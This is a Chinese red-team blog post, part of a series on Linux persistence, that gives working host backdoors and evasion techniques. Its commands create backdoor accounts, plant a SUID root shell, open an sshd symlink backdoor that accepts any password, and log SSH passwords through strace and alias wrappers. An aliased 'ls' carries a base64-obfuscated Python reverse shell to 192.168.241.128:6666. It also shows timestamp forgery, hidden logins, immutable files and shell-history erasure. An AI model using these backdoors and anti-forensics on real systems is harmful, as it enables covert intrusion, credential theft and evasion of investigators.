连载|浅谈红队中的权限维持(六)-Linux 主机后门与Linux 隐藏文件

本文来源无问社区,更多实战内容,渗透思路可前往查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/11584.html

0x01 Linux 主机后门

1、添加用户

一句话添加用户

useradd test;echo -e "123456n123456n" |passwd test

或者使用 openssl

useradd -p openssl passwd-1-salt'salt'123456 guest

2、SUID Shell

SUID Shell 是一种可用于以拥有者权限运行的 shell。

以 root 用户权限执行下面的命令。

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

在使用普通用户权限的时候,执行以下命令就能获取 root 权限。

/tmp/shell -p

3、软链接

软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证,使用以下命令查看是否配置 PAM 认证。

cat /etc/ssh/sshd_config | grep UsePAM

在目标主机上执行一句话后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

然后直接 ssh root@IP -p 8888,输入任意密码,就可以登录。

4、strace 后门

执行以下命令

alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码、操作了,只是显示的不是很直观。

这个其实也可以说是 alias 后门,例如下面这条命令。

alias ls='alerts(){ ls $* --color=auto;python3 -c"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=''')))";};alerts'

上面的 base64 解码后为以下内容:

import os,socket,subprocess;

ret = os.fork()

if ret > 0:

exit()

else:

try:

s = socket.socket(socket.AFINET, socket.SOCKSTREAM)

s.connect(("192.168.241.128", 6666))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])

except Exception as e:

exit()

这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作。

除此之外,还有比较常见的定时任务、SSH 公钥登录以及 SSH warpper、openssh 后门、PAM 后门、rootkit 后门等等。

0x02 Linux 隐藏文件

1、隐藏文件时间戳

复制其他文件的时间

touch -r teamssix.txt evil.txt

自定义文件的时间,这里表示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒。

touch -t 202201010101.01 evil.txt

2、隐身登录

隐身登录系统,不会被 w、who、last 检测到

ssh -T root@host /bin/bash -i

隐身登录系统,同时不保存公钥在本地的 .ssh 目录中。

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

3、锁定文件

当文件被锁定时,是无法删除的

chattr +i evil.txt 锁定文件

lsattr evil.txt 属性查看

chattr -i evil.txt 解除锁定

rm -rf 1.evil.txt 删除文件

4、隐藏历史操作记录

临时禁用历史命令记录功能。

set +o history

注意在 set 命令前有一个空格

如果想某条命令不记录到 history 中,直接在命令前加上空格就行

或者先 grep 看下要删除的文件行,再 -d 指定行即可删除。

history | grep "key"

history -d 11

除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用、进程隐藏等等方法。

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值